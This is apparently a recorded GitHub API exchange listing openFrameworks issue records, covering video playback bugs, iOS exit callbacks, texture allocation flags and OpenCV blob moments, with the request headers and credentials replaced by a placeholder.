expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"assignee":null,"closed_at":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/244"},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/240"},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/236"},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"assignee":null,"closed_at":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/228"},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"assignee":null,"closed_at":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/227"},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"assignee":null,"closed_at":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/225"},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_at":null,"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/224"},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"assignee":null,"closed_at":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/214"},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"assignee":null,"closed_at":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/199"},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"assignee":null,"closed_at":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/194"},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/193"},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"assignee":null,"closed_at":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/182"},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"assignee":null,"closed_at":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/181"},{"updated_at":"2011-12-02T15:44:06Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"assignee":null,"closed_at":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/178"},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"assignee":null,"closed_at":null,"title":"bring examples up to date - make sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/175"},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"assignee":null,"closed_at":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/174"},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/173"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '23083'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"f317f6e26c56743bf8ac8b747a73d3af"'), ('date', 'Tue, 29 May 2012 06:43:45 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 